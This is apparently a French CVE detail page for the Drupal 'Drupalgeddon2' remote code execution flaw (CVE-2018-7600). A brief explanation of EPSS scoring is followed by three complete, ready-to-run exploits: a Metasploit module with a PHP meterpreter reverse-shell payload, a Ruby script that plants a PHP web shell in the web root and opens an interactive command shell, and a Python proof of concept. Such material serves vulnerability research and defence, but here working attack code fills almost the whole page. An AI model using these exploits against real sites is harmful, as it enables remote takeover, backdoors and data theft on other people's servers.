CVE-2018-7600 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'Drupalgeddon2', 'Description' => %q{ CVE-2018-7600 / SA-CORE-2018-002 Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations. The module can load msf PHP arch payloads, using the php/base64 encoder. The resulting RCE on Drupal looks like this: php -r 'eval(base64_decode(#{PAYLOAD}));' }, 'License' => MSF_LICENSE, 'Author' => [ 'Vitalii Rudnykh', # initial PoC 'Hans Topo', # further research and ruby port 'José Ignacio Rojo' # further research and msf module ], 'References' => [ ['SA-CORE', '2018-002'], ['CVE', '2018-7600'], ], 'DefaultOptions' => { 'encoder' => 'php/base64', 'payload' => 'php/meterpreter/reverse_tcp', }, 'Privileged' => false, 'Platform' => ['php'], 'Arch' => [ARCH_PHP], 'Targets' => [ ['User register form with exec', {}], ], 'DisclosureDate' => 'Apr 15 2018', 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/']), ]) register_advanced_options( [ ]) end def uri_path normalize_uri(target_uri.path) end def exploit_user_register data = Rex::MIME::Message.new data.add_part("php -r '#{payload.encoded}'", nil, nil, 'form-data; name="mail[#markup]"') data.add_part('markup', nil, nil, 'form-data; name="mail[#type]"') data.add_part('user_register_form', nil, nil, 'form-data; name="form_id"') data.add_part('1', nil, nil, 'form-data; name="_drupal_ajax"') data.add_part('exec', nil, nil, 'form-data; name="mail[#post_render][]"') post_data = data.to_s # /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax send_request_cgi({ 'method' => 'POST', 'uri' => "#{uri_path}user/register", 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'vars_get' => { 'element_parents' => 'account/mail/#value', 'ajax_form' => '1', '_wrapper_format' => 'drupal_ajax', } }) end ## # Main ## def exploit case datastore['TARGET'] when 0 exploit_user_register else fail_with(Failure::BadConfig, "Invalid target selected.") end end end

#!/usr/bin/env ruby # # [CVE-2018-7600] Drupal <= 8.5.0 / <= 8.4.5 / <= 8.3.8 / 7.23 <= 7.57 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/ # # Authors: # - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked # - g0tmi1k ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k # require 'base64' require 'json' require 'net/http' require 'openssl' require 'readline' require 'highline/import' # Settings - Try to write a PHP to the web root? try_phpshell = true # Settings - General/Stealth $useragent = "drupalgeddon2" webshell = "shell.php" # Settings - Proxy information (nil to disable) $proxy_addr = nil $proxy_port = 8080 # Settings - Payload (we could just be happy without this PHP shell, by using just the OS shell - but this is 'better'!) bashcmd = "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }" bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d" # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Function http_request <url> [type] [data] def http_request(url, type="get", payload="", cookie="") puts verbose("HTTP - URL : #{url}") if $verbose puts verbose("HTTP - Type: #{type}") if $verbose puts verbose("HTTP - Data: #{payload}") if not payload.empty? and $verbose begin uri = URI(url) request = type =~ /get/? Net::HTTP::Get.new(uri.request_uri) : Net::HTTP::Post.new(uri.request_uri) request.initialize_http_header({"User-Agent" => $useragent}) request.initialize_http_header("Cookie" => cookie) if not cookie.empty? request.body = payload if not payload.empty? return $http.request(request) rescue SocketError puts error("Network connectivity issue") rescue Errno::ECONNREFUSED => e puts error("The target is down ~ #{e.message}") puts error("Maybe try disabling the proxy (#{$proxy_addr}:#{$proxy_port})...") if $proxy_addr rescue Timeout::Error => e puts error("The target timed out ~ #{e.message}") end # If we got here, something went wrong. exit end # Function gen_evil_url <cmd> [method] [shell] [phpfunction] def gen_evil_url(evil, element="", shell=false, phpfunction="passthru") puts info("Payload: #{evil}") if not shell puts verbose("Element : #{element}") if not shell and not element.empty? and $verbose puts verbose("PHP fn : #{phpfunction}") if not shell and $verbose # Vulnerable parameters: #access_callback / #lazy_builder / #pre_render / #post_render # Check the version to match the payload if $drupalverion.start_with?("8") and element == "mail" # Method #1 - Drupal v8.x: mail, #post_render - HTTP 200 url = $target + $clean_url + $form + "?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpfunction + "&mail[a][#type]=markup&mail[a][#markup]=" + evil elsif $drupalverion.start_with?("8") and element == "timezone" # Method #2 - Drupal v8.x: timezone, #lazy_builder - HTTP 500 if phpfunction=exec // HTTP 200 if phpfunction=passthru url = $target + $clean_url + $form + "?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax" payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=" + phpfunction + "&timezone[a][#lazy_builder][][]=" + evil #puts warning("WARNING: May benefit to use a PHP web shell") if not try_phpshell and phpfunction != "passthru" elsif $drupalverion.start_with?("7") and element == "name" # Method #3 - Drupal v7.x: name, #post_render - HTTP 200 url = $target + "#{$clean_url}#{$form}&name[%23post_render][]=" + phpfunction + "&name[%23type]=markup&name[%23markup]=" + evil payload = "form_id=user_pass&_triggering_element_name=name" end # Drupal v7.x needs an extra value from a form if $drupalverion.start_with?("7") response = http_request(url, "post", payload, $session_cookie) form_name = "form_build_id" puts verbose("Form name : #{form_name}") if $verbose form_value = response.body.match(/input type="hidden" name="#{form_name}" value="(.*)"/).to_s.slice(/value="(.*)"/, 1).to_s.strip puts warning("WARNING: Didn't detect #{form_name}") if form_value.empty? puts verbose("Form value : #{form_value}") if $verbose url = $target + "#{$clean_url}file/ajax/name/%23value/" + form_value payload = "#{form_name}=#{form_value}" end return url, payload end # Function clean_result <input> def clean_result(input) #result = JSON.pretty_generate(JSON[response.body]) #result = $drupalverion.start_with?("8")? JSON.parse(clean)[0]["data"] : clean clean = input.to_s.strip # PHP function: passthru # For: <payload>[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}] clean.slice!(/\[{"command":".*}\]$/) # PHP function: exec # For: [{"command":"insert","method":"replaceWith","selector":null,"data":"<payload>\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}] #clean.slice!(/\[{"command":".*data":"/) #clean.slice!(/\\u003Cspan class=\\u0022.*}\]$/) # Newer PHP for an older Drupal # For: <b>Deprecated</b>: assert(): Calling assert() with a string argument is deprecated in <b>/var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php</b> on line <b>151</b><br /> #clean.slice!(/<b>.*<br \/>/) # Drupal v8.x Method #2 ~ timezone, #lazy_builder, passthru, HTTP 500 # For: <b>Deprecated</b>: assert(): Calling assert() with a string argument is deprecated in <b>/var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php</b> on line <b>151</b><br /> clean.slice!(/The website encountered an unexpected error.*/) return clean end # Feedback when something goes right def success(text) # Green return "\e[#{32}m[+]\e[0m #{text}" end # Feedback when something goes wrong def error(text) # Red return "\e[#{31}m[-]\e[0m #{text}" end # Feedback when something may have issues def warning(text) # Yellow return "\e[#{33}m[!]\e[0m #{text}" end # Feedback when something doing something def action(text) # Blue return "\e[#{34}m[*]\e[0m #{text}" end # Feedback with helpful information def info(text) # Light blue return "\e[#{94}m[i]\e[0m #{text}" end # Feedback for the overkill def verbose(text) # Dark grey return "\e[#{90}m[v]\e[0m #{text}" end # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - def init_authentication() $uname = ask('Enter your username: ') { |q| q.echo = false } $passwd = ask('Enter your password: ') { |q| q.echo = false } $uname_field = ask('Enter the name of the username form field: ') { |q| q.echo = true } $passwd_field = ask('Enter the name of the password form field: ') { |q| q.echo = true } $login_path = ask('Enter your login path (e.g., user/login): ') { |q| q.echo = true } $creds_suffix = ask('Enter the suffix eventually required after the credentials in the login HTTP POST request (e.g., &form_id=...): ') { |q| q.echo = true } end def is_arg(args, param) args.each do |arg| if arg == param return true end end return false end # Quick how to use def usage() puts 'Usage: ruby drupalggedon2.rb <target> [--authentication] [--verbose]' puts 'Example for target that does not require authentication:' puts ' ruby drupalgeddon2.rb https://example.com' puts 'Example for target that does require authentication:' puts ' ruby drupalgeddon2.rb https://example.com --authentication' end # Read in values if ARGV.empty? usage() exit end $target = ARGV[0] init_authentication() if is_arg(ARGV, '--authentication') $verbose = is_arg(ARGV, '--verbose') # Check input for protocol $target = "http://#{$target}" if not $target.start_with?("http") # Check input for the end $target += "/" if not $target.end_with?("/") # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Banner puts action("--==[::#Drupalggedon2::]==--") puts "-"*80 puts info("Target : #{$target}") puts info("Proxy : #{$proxy_addr}:#{$proxy_port}") if $proxy_addr puts info("Write? : Skipping writing PHP web shell") if not try_phpshell puts "-"*80 # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Setup connection uri = URI($target) $http = Net::HTTP.new(uri.host, uri.port, $proxy_addr, $proxy_port) # Use SSL/TLS if needed if uri.scheme == "https" $http.use_ssl = true $http.verify_mode = OpenSSL::SSL::VERIFY_NONE end $session_cookie = '' # If authentication required then login and get session cookie if $uname $payload = $uname_field + '=' + $uname + '&' + $passwd_field + '=' + $passwd + $creds_suffix response = http_request($target + $login_path, 'post', $payload, $session_cookie) if (response.code == '200' or response.code == '303') and not response.body.empty? and response['set-cookie'] $session_cookie = response['set-cookie'].split('; ')[0] puts success("Logged in - Session Cookie : #{$session_cookie}") end end # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Try and get version $drupalverion = "" # Possible URLs url = [ # --- changelog --- # Drupal v6.x / v7.x [200] $target + "CHANGELOG.txt", # Drupal v8.x [200] $target + "core/CHANGELOG.txt", # --- bootstrap --- # Drupal v7.x / v6.x [403] $target + "includes/bootstrap.inc", # Drupal v8.x [403] $target + "core/includes/bootstrap.inc", # --- database --- # Drupal v7.x / v6.x [403] $target + "includes/database.inc", # Drupal v7.x [403] #$target + "includes/database/database.inc", # Drupal v8.x [403] #$target + "core/includes/database.inc", # --- landing page --- # Drupal v8.x / v7.x [200] $target, ] # Check all url.each do|uri| # Check response response = http_request(uri, 'get', '', $session_cookie) # Check header if response['X-Generator'] and $drupalverion.empty? header = response['X-Generator'].slice(/Drupal (.*) \(https:\/\/www.drupal.org\)/, 1).to_s.strip if not header.empty? $drupalverion = "#{header}.x" if $drupalverion.empty? puts success("Header : v#{header} [X-Generator]") puts verbose("X-Generator: #{response['X-Generator']}") if $verbose end end # Check request response, valid if response.code == "200" tmp = $verbose ? " [HTTP Size: #{response.size}]" : "" puts success("Found : #{uri} (HTTP Response: #{response.code})#{tmp}") # Check to see if it says: The requested URL "http://<URL>" was not found on this server. puts warning("WARNING: Could be a false-positive [1-1], as the file could be reported to be missing") if response.body.downcase.include? "was not found on this server" # Check to see if it says: <h1 class="js-quickedit-page-title title page-title">Page not found</h1> <div class="content">The requested page could not be found.</div> puts warning("WARNING: Could be a false-positive [1-2], as the file could be reported to be missing") if response.body.downcase.include? "the requested page could not be found" # Only works for CHANGELOG.txt if uri.match(/CHANGELOG.txt/) # Check if valid. Source ~ https://api.drupal.org/api/drupal/core%21CHANGELOG.txt/8.5.x // https://api.drupal.org/api/drupal/CHANGELOG.txt/7.x puts warning("WARNING: Unable to detect keyword 'drupal.org'") if not response.body.downcase.include? "drupal.org" # Patched already? (For Drupal v8.4.x / v7.x) puts warning("WARNING: Might be patched! Found SA-CORE-2018-002: #{url}") if response.body.include? "SA-CORE-2018-002" # Try and get version from the file contents (For Drupal v8.4.x / v7.x) $drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip # Blank if not valid $drupalverion = "" if not $drupalverion[-1] =~ /\d/ end # Check meta tag if not response.body.empty? # For Drupal v8.x / v7.x meta = response.body.match(/<meta name="Generator" content="Drupal (.*) /) metatag = meta.to_s.slice(/meta name="Generator" content="Drupal (.*) \(http/, 1).to_s.strip if not metatag.empty? $drupalverion = "#{metatag}.x" if $drupalverion.empty? puts success("Metatag: v#{$drupalverion} [Generator]") puts verbose(meta.to_s) if $verbose end end # Done! ...if a full known version, else keep going... may get lucky later! break if not $drupalverion.end_with?("x") and not $drupalverion.empty? end # Check request response, not allowed if response.code == "403" and $drupalverion.empty? tmp = $verbose ? " [HTTP Size: #{response.size}]" : "" puts success("Found : #{uri} (HTTP Response: #{response.code})#{tmp}") if $drupalverion.empty? # Try and get version from the URL (For Drupal v.7.x/v6.x) $drupalverion = uri.match(/includes\/database.inc/)? "7.x/6.x" : "" if $drupalverion.empty? # Try and get version from the URL (For Drupal v8.x) $drupalverion = uri.match(/core/)? "8.x" : "" if $drupalverion.empty? # If we got something, show it! puts success("URL : v#{$drupalverion}?") if not $drupalverion.empty? end else tmp = $verbose ? " [HTTP Size: #{response.size}]" : "" puts warning("MISSING: #{uri} (HTTP Response: #{response.code})#{tmp}") end end # Feedback if not $drupalverion.empty? status = $drupalverion.end_with?("x")? "?" : "!" puts success("Drupal#{status}: v#{$drupalverion}") else puts error("Didn't detect Drupal version") exit end if not $drupalverion.start_with?("8") and not $drupalverion.start_with?("7") puts error("Unsupported Drupal version (#{$drupalverion})") exit end puts "-"*80 # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # The attack vector to use $form = $drupalverion.start_with?("8")? "user/register" : "user/password" # Make a request, check for form url = "#{$target}?q=#{$form}" puts action("Testing: Form (#{$form})") response = http_request(url, 'get', '', $session_cookie) if response.code == "200" and not response.body.empty? puts success("Result : Form valid") elsif response['location'] puts error("Target is NOT exploitable [5] (HTTP Response: #{response.code})... Could try following the redirect: #{response['location']}") exit elsif response.code == "404" puts error("Target is NOT exploitable [4] (HTTP Response: #{response.code})... Form disabled?") exit elsif response.code == "403" puts error("Target is NOT exploitable [3] (HTTP Response: #{response.code})... Form blocked?") exit elsif response.body.empty? puts error("Target is NOT exploitable [2] (HTTP Response: #{response.code})... Got an empty response") exit else puts warning("WARNING: Target may NOT exploitable [1] (HTTP Response: #{response.code})") end puts "- "*40 # Make a request, check for clean URLs status ~ Enabled: /user/register Disabled: /?q=user/register # Drupal v7.x needs it anyway $clean_url = $drupalverion.start_with?("8")? "" : "?q=" url = "#{$target}#{$form}" puts action("Testing: Clean URLs") response = http_request(url, 'get', '', $session_cookie) if response.code == "200" and not response.body.empty? puts success("Result : Clean URLs enabled") else $clean_url = "?q=" puts warning("Result : Clean URLs disabled (HTTP Response: #{response.code})") puts verbose("response.body: #{response.body}") if $verbose # Drupal v8.x needs it to be enabled if $drupalverion.start_with?("8") puts error("Sorry dave... Required for Drupal v8.x... So... NOPE NOPE NOPE") exit elsif $drupalverion.start_with?("7") puts info("Isn't an issue for Drupal v7.x") end end puts "-"*80 # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Values in gen_evil_url for Drupal v8.x elementsv8 = [ "mail", "timezone", ] # Values in gen_evil_url for Drupal v7.x elementsv7 = [ "name", ] elements = $drupalverion.start_with?("8") ? elementsv8 : elementsv7 elements.each do|e| $element = e # Make a request, testing code execution puts action("Testing: Code Execution (Method: #{$element})") # Generate a random string to see if we can echo it random = (0...8).map { (65 + rand(26)).chr }.join url, payload = gen_evil_url("echo #{random}", e) response = http_request(url, "post", payload, $session_cookie) if (response.code == "200" or response.code == "500") and not response.body.empty? result = clean_result(response.body) if not result.empty? puts success("Result : #{result}") if response.body.match(/#{random}/) puts success("Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!") break else puts warning("WARNING: Target MIGHT be exploitable [4]... Detected output, but didn't MATCH expected result") end else puts warning("WARNING: Target MIGHT be exploitable [3] (HTTP Response: #{response.code})... Didn't detect any INJECTED output (disabled PHP function?)") end puts warning("WARNING: Target MIGHT be exploitable [5]... Blind attack?") if response.code == "500" puts verbose("response.body: #{response.body}") if $verbose puts verbose("clean_result: #{result}") if not result.empty? and $verbose elsif response.body.empty? puts error("Target is NOT exploitable [2] (HTTP Response: #{response.code})... Got an empty response") exit else puts error("Target is NOT exploitable [1] (HTTP Response: #{response.code})") puts verbose("response.body: #{response.body}") if $verbose exit end puts "- "*40 if e != elements.last end puts "-"*80 # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Location of web shell & used to signal if using PHP shell webshellpath = "" prompt = "drupalgeddon2" # Possibles paths to try paths = [ # Web root "", # Required for setup "sites/default/", "sites/default/files/", # They did something "wrong", chmod -R 0777 . #"core/", ] # Check all (if doing web shell) paths.each do|path| # Check to see if there is already a file there puts action("Testing: Existing file (#{$target}#{path}#{webshell})") response = http_request("#{$target}#{path}#{webshell}", 'get', '', $session_cookie) if response.code == "200" puts warning("Response: HTTP #{response.code} // Size: #{response.size}. ***Something could already be there?***") else puts info("Response: HTTP #{response.code} // Size: #{response.size}") end puts "- "*40 # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - folder = path.empty? ? "./" : path puts action("Testing: Writing To Web Root (#{folder})") # Merge locations webshellpath = "#{path}#{webshell}" # Final command to execute cmd = "#{bashcmd} | tee #{webshellpath}" # By default, Drupal v7.x disables the PHP engine using: ./sites/default/files/.htaccess # ...however, Drupal v8.x disables the PHP engine using: ./.htaccess if path == "sites/default/files/" puts action("Moving : ./sites/default/files/.htaccess") cmd = "mv -f #{path}.htaccess #{path}.htaccess-bak; #{cmd}" end # Generate evil URLs url, payload = gen_evil_url(cmd, $element) # Make the request response = http_request(url, "post", payload, $session_cookie) # Check result if response.code == "200" and not response.body.empty? # Feedback result = clean_result(response.body) puts success("Result : #{result}") if not result.empty? # Test to see if backdoor is there (if we managed to write it) response = http_request("#{$target}#{webshellpath}", "post", "c=hostname", $session_cookie) if response.code == "200" and not response.body.empty? puts success("Very Good News Everyone! Wrote to the web root! Waayheeeey!!!") break elsif response.code == "404" puts warning("Target is NOT exploitable [2-4] (HTTP Response: #{response.code})... Might not have write access?") elsif response.code == "403" puts warning("Target is NOT exploitable [2-3] (HTTP Response: #{response.code})... May not be able to execute PHP from here?") elsif response.body.empty? puts warning("Target is NOT exploitable [2-2] (HTTP Response: #{response.code})... Got an empty response back") else puts warning("Target is NOT exploitable [2-1] (HTTP Response: #{response.code})") puts verbose("response.body: #{response.body}") if $verbose end elsif response.code == "500" and not response.body.empty? puts warning("Target MAY of been exploited... Bit of blind leading the blind") break elsif response.code == "404" puts warning("Target is NOT exploitable [1-4] (HTTP Response: #{response.code})... Might not have write access?") elsif response.code == "403" puts warning("Target is NOT exploitable [1-3] (HTTP Response: #{response.code})... May not be able to execute PHP from here?") elsif response.body.empty? puts warning("Target is NOT exploitable [1-2] (HTTP Response: #{response.code}))... Got an empty response back") else puts warning("Target is NOT exploitable [1-1] (HTTP Response: #{response.code})") puts verbose("response.body: #{response.body}") if $verbose end webshellpath = "" puts "- "*40 if path != paths.last end if try_phpshell # If a web path was set, we exploited using PHP! if not webshellpath.empty? # Get hostname for the prompt prompt = response.body.to_s.strip if response.code == "200" and not response.body.empty? puts "-"*80 puts info("Fake PHP shell: curl '#{$target}#{webshellpath}' -d 'c=hostname'") # Should we be trying to call commands via PHP? elsif try_phpshell puts warning("FAILED : Couldn't find a writeable web path") puts "-"*80 puts action("Dropping back to direct OS commands") end # Stop any CTRL + C action ;) trap("INT", "SIG_IGN") # Forever loop loop do # Default value result = "~ERROR~" # Get input command = Readline.readline("#{prompt}>> ", true).to_s # Check input puts warning("WARNING: Detected an known bad character (>)") if command =~ />/ # Exit break if command == "exit" # Blank link? next if command.empty? # If PHP web shell if not webshellpath.empty? # Send request result = http_request("#{$target}#{webshellpath}", "post", "c=#{command}", $session_cookie).body # Direct OS commands else url, payload = gen_evil_url(command, $element, true) response = http_request(url, "post", payload, $session_cookie) # Check result if not response.body.empty? result = clean_result(response.body) end end # Feedback puts result end

#!/usr/bin/env import sys import requests print ('################################################################') print ('# Proof-Of-Concept for CVE-2018-7600') print ('# by Vitalii Rudnykh') print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders') print ('# https://github.com/a2u/CVE-2018-7600') print ('################################################################') print ('Provided only for educational or information purposes\n') target = input('Enter target url (example: https://domain.ltd/): ') # Add proxy support (eg. BURP to analyze HTTP(s) traffic) # set verify = False if your proxy certificate is self signed # remember to set proxies both for http and https # # example: # proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} # verify = False proxies = {} verify = True url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'} r = requests.post(url, proxies=proxies, data=payload, verify=verify) check = requests.get(target + 'hello.txt') if check.status_code != 200: sys.exit("Not exploitable") print ('\nCheck: '+target+'hello.txt')